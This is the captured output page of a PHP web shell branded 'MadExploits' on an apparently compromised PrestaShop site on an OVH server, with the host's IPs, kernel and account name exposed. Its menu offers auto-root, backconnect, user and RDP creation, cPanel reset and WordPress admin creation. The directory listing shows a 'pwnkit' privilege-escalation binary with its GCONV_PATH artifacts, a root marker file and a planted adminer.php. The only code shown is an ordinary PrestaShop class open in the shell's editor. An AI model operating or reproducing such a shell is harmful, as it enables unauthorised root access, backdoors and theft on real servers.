Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
tree /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
ITreeToolbar.php
1.61
KB
-rw----r--
ITreeToolbarButton.php
1.88
KB
-rw----r--
Tree.php
14.57
KB
-rw----r--
TreeToolbar.php
6.82
KB
-rw----r--
TreeToolbarButton.php
6.61
KB
-rw----r--
TreeToolbarLink.php
2.01
KB
-rw----r--
TreeToolbarSearch.php
3.3
KB
-rw----r--
TreeToolbarSearchCategories.ph...
3.1
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TreeToolbar.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ class TreeToolbarCore implements ITreeToolbarCore { const DEFAULT_TEMPLATE_DIRECTORY = 'helpers/tree'; const DEFAULT_TEMPLATE = 'tree_toolbar.tpl'; private $_actions; private $_context; private $_data; private $_template; private $_template_directory; public function __toString() { return $this->render(); } public function setActions($actions) { if (!is_array($actions) && !$actions instanceof Traversable) { throw new PrestaShopException('Action value must be an traversable array'); } foreach ($actions as $action) { $this->addAction($action); } } public function getActions() { if (!isset($this->_actions)) { $this->_actions = []; } return $this->_actions; } public function setContext($value) { $this->_context = $value; return $this; } public function getContext() { if (!isset($this->_context)) { $this->_context = Context::getContext(); } return $this->_context; } public function setData($value) { if (!is_array($value) && !$value instanceof Traversable) { throw new PrestaShopException('Data value must be an traversable array'); } $this->_data = $value; return $this; } public function getData() { return $this->_data; } public function setTemplate($value) { $this->_template = $value; return $this; } public function getTemplate() { if (!isset($this->_template)) { $this->setTemplate(self::DEFAULT_TEMPLATE); } return $this->_template; } public function setTemplateDirectory($value) { $this->_template_directory = $this->_normalizeDirectory($value); return $this; } public function getTemplateDirectory() { if (!isset($this->_template_directory)) { $this->_template_directory = $this->_normalizeDirectory( self::DEFAULT_TEMPLATE_DIRECTORY ); } return $this->_template_directory; } public function getTemplateFile($template) { if (preg_match_all('/((?:^|[A-Z])[a-z]+)/', get_class($this->getContext()->controller), $matches) !== false) { $controllerName = strtolower($matches[0][1]); } if ($this->getContext()->controller instanceof ModuleAdminController && file_exists($this->_normalizeDirectory( $this->getContext()->controller->getTemplatePath() ) . $this->getTemplateDirectory() . $template)) { return $this->_normalizeDirectory($this->getContext()->controller->getTemplatePath()) . $this->getTemplateDirectory() . $template; } elseif ($this->getContext()->controller instanceof AdminController && isset($controllerName) && file_exists($this->_normalizeDirectory($this->getContext()->smarty->getTemplateDir(0)) . 'controllers' . DIRECTORY_SEPARATOR . $controllerName . DIRECTORY_SEPARATOR . $this->getTemplateDirectory() . $template)) { return $this->_normalizeDirectory($this->getContext()->smarty->getTemplateDir(0)) . 'controllers' . DIRECTORY_SEPARATOR . $controllerName . DIRECTORY_SEPARATOR . $this->getTemplateDirectory() . $template; } elseif (file_exists($this->_normalizeDirectory($this->getContext()->smarty->getTemplateDir(1)) . $this->getTemplateDirectory() . $template)) { return $this->_normalizeDirectory($this->getContext()->smarty->getTemplateDir(1)) . $this->getTemplateDirectory() . $template; } elseif (file_exists($this->_normalizeDirectory($this->getContext()->smarty->getTemplateDir(0)) . $this->getTemplateDirectory() . $template)) { return $this->_normalizeDirectory($this->getContext()->smarty->getTemplateDir(0)) . $this->getTemplateDirectory() . $template; } else { return $this->getTemplateDirectory() . $template; } } /** * @param ITreeToolbarButton $action * * @return TreeToolbar * * @throws PrestaShopException */ public function addAction($action) { if (!is_object($action)) { throw new PrestaShopException('Action must be a class object'); } $reflection = new ReflectionClass($action); if (!$reflection->implementsInterface('ITreeToolbarButtonCore')) { throw new PrestaShopException('Action class must implements ITreeToolbarButtonCore interface'); } if (!isset($this->_actions)) { $this->_actions = []; } if (isset($this->_template_directory)) { $action->setTemplateDirectory($this->getTemplateDirectory()); } $this->_actions[] = $action; return $this; } public function removeActions() { $this->_actions = null; return $this; } public function render() { foreach ($this->getActions() as $action) { /* @var ITreeToolbarButton $action */ $action->setAttribute('data', $this->getData()); } return $this->getContext()->smarty->createTemplate( $this->getTemplateFile($this->getTemplate()), $this->getContext()->smarty )->assign('actions', $this->getActions())->fetch(); } private function _normalizeDirectory($directory) { $last = $directory[strlen($directory) - 1]; if (in_array($last, ['/', '\\'])) { $directory[strlen($directory) - 1] = DIRECTORY_SEPARATOR; return $directory; } $directory .= DIRECTORY_SEPARATOR; return $directory; } }
Close